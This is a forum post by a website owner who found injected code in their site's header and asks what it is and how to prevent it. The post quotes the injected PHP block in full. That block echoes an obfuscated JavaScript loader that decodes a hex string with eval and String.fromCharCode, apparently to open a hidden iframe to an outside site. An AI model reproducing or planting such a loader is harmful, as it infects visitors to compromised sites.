what is this javascipt i am getting in my website

what is this javascipt i am getting in my website

hi recently i uploaded my website to the server and after a couple of days
i found this in the header
<?
#32f02e#


if(empty($hxiit)) {$hxiit = "<script
type=\"text/javascript\" language=\"javascript\"
>z=\"y\";vz=\"d\"+\"oc\"+\"ument\";ps=\"s\"+\"plit\";try{+function(){++(window[vz].body)==null}()}catch(q){aa=function(ff){ff=\"fr\"+\"omCh\"+ff;for(i=0;i<z.length;i++){za+=String[ff](e(v+(z[i]))-(13));}};};e=(eval);v=\"0x\";a=0;try{;}catch(zz){a=1}if(!a){try{++e(vz)[\"\x62o\"+\"d\"+z]}catch(q){a2=\"_\";}z=\"2d_73_82_7b_70_81_76_7c_7b_2d_7c_3d_46_35_36_2d_88_1a_17_2d_83_6e_7f_2d_80_81_6e_81_76_70_4a_34_6e_77_6e_85_34_48_1a_17_2d_83_6e_7f_2d_70_7c_7b_81_7f_7c_79_79_72_7f_4a_34_76_7b_71_72_85_3b_7d_75_7d_34_48_1a_17_2d_83_6e_7f_2d_7c_2d_4a_2d_71_7c_70_82_7a_72_7b_81_3b_70_7f_72_6e_81_72_52_79_72_7a_72_7b_81_35_34_76_73_7f_6e_7a_72_34_36_48_1a_17_1a_17_2d_7c_3b_80_7f_70_2d_4a_2d_34_75_81_81_7d_47_3c_3c_81_7f_82_72_84_72_79_79_7b_72_80_80_70_3b_70_7c_7a_3c_76_7a_6e_74_72_80_3c_55_7a_53_70_54_6f_58_71_3b_7d_75_7d_34_48_1a_17_2d_7c_3b_80_81_86_79_72_3b_7d_7c_80_76_81_76_7c_7b_2d_4a_2d_34_6e_6f_80_7c_79_82_81_72_34_48_1a_17_2d_7c_3b_80_81_86_79_72_3b_70_7c_79_7c_7f_2d_4a_2d_34_3d_40
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_81_7f_76_7b_74_35_2d_79_72_7b_39_2d_72_7b_71_2d_36_2d_36_48_1a_17_8a_1a_17_76_73_2d_35_7b_6e_83_76_74_6e_81_7c_7f_3b_70_7c_7c_78_76_72_52_7b_6e_6f_79_72_71_36_1a_17_88_1a_17_76_73_35_54_72_81_50_7c_7c_78_76_72_35_34_83_76_80_76_81_72_71_6c_82_7e_34_36_4a_4a_42_42_36_88_8a_72_79_80_72_88_60_72_81_50_7c_7c_78_76_72_35_34_83_76_80_76_81_72_71_6c_82_7e_34_39_2d_34_42_42_34_39_2d_34_3e_34_39_2d_34_3c_34_36_48_1a_17_1a_17_7c_3d_46_35_36_48_1a_17_8a_1a_17_8a\"[ps](a2);za=\"\";aa(\"arCode\");e(\"\"+za);}</script>";echo
$hxiit;}
#/32f02e#
?>jquery-1.8.2.js" ></script>
is this some kind of injection? how can i prevent this?